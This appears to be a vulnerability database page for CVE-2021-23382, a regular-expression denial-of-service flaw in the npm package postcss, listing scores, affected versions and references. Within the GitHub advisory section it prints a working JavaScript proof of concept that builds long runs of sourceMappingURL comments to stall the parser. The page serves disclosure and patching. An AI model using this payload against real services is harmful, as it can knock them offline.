5.3medium
Regular Expression Denial of Service (ReDoS)
- Severity
- 5.3medium CVSS:3.1 by snyk
- Exploit likelihood
- 2.58% (higher than 85% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- snyk
- Also known as
- GHSA-566m-qj78-rww5
Description
The package postcss before 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern \/\*\s* sourceMappingURL=(.*).
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| postcss | from unspecified before 8.2.13 | CVE List |
| postcss (npm) | from 8.0.0 before 8.2.13, before 7.0.36 | GitHub Advisory Database |
| postcss postcss | before 7.0.36, from 8.0.0 before 8.2.13 | NVD |
All scores
| snyk | 5.3medium CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L |
| GitHub | 5.3medium CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L |
| NVD | 7.5high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| NVD | 5.0medium CVSS:2.0 | AV:N/AC:L/Au:N/C:N/I:N/A:P |
Classification
What each source says
CVE List
The package postcss before 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern \/\*\s* sourceMappingURL=(.*).
GitHub Advisory Database
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
PoC
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
NVD (es)
El paquete postcss versiones anteriores a 8.2.13, es vulnerable a una Denegación de Servicio de Expresión Regular (ReDoS) por medio de las funciones getAnnotationURL() y loadAnnotation() en la biblioteca lib/previous-map.js. Las expresiones regulares vulnerables son causadas principalmente por el subpatrón \/\*\s* sourceMappingURL=(.*)
References
| https://snyk.io/vuln/SNYK-JS-POSTCSS-1255640 | exploit, patch, third-party-advisory, web | |
| https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1255641 | exploit, patch, third-party-advisory, web | |
| https://github.com/postcss/postcss/commit/2b1d04c867995e55124e0a165b7c6622c1735956 | patch, third-party-advisory, web | |
| https://nvd.nist.gov/vuln/detail/CVE-2021-23382 | advisory | |
| https://github.com/postcss/postcss/releases/tag/7.0.36 | web | |
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2021-23382 changed 2024-09-16 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-566m-qj78-rww5 changed 2025-01-14 | CC-BY-4.0 |
| NVD | CVE-2021-23382 changed 2026-06-17 | Public domain |